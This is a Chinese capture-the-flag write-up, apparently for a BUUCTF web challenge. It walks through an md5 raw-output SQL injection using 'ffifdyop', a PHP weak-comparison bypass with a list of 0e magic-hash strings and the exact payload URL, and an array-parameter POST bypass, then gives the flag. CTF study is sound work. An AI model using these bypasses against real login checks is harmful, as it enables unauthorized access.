老样子 打开看看
你会发现 啥也没有
有一个输入框,随便输入看看 抓包发现跳转leveldo4.php
同时看到 hint
里面有select * from 'admin' where password=md5($pass,true)
字样
构造$pass字符串经md5加密后出现or
,则可令该SQL语句返回true
,与万能密码的原理相同。
这里翻了翻大佬的笔记才发现ffifdyop
绕过,为啥可以绕过,大概意思就是ffifdyop
。 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
所以 这里就绕过去了
发包往下拉发现里面出现一个levels91.php
于是访问看看
得到这个界面 啥也没有 那么直接来一手国际惯例ctrl+u
查看源码
查看源码发现这里有两个get型传参,同时是弱类型比较
那么就可以利用md5
值加密后为0e开头的字符串进行绕过
常见的md5后相等的值有一下
NKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
还有一个特殊的 0e开头 hash后也是0e开头的
0e215962017
那么 这里直接给a和b传参
payload:http://e7cdd604-f8a6-4e88-8cb2-a4db7d46fef1.node4.buuoj.cn:81/levels91.php?a=s1091221200a&b=s155964671a
发现跳转levell14.php
并且有源码
这里也和前面比较差不多 具体可以看我这另外一篇 思路差不多
https://blog.csdn.net/weixin_52599204/article/details/126209588?spm=1001.2014.3001.5501
这里比较的是两个参数不相等 且md5值相等
单独使用相等的md5后的字符串是行不通的 这里需要使用数组
这里需要改post请求进行传参
发包得到flag
flag为:flag{5735e45b-2924-4abf-b017-987996fae68f}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章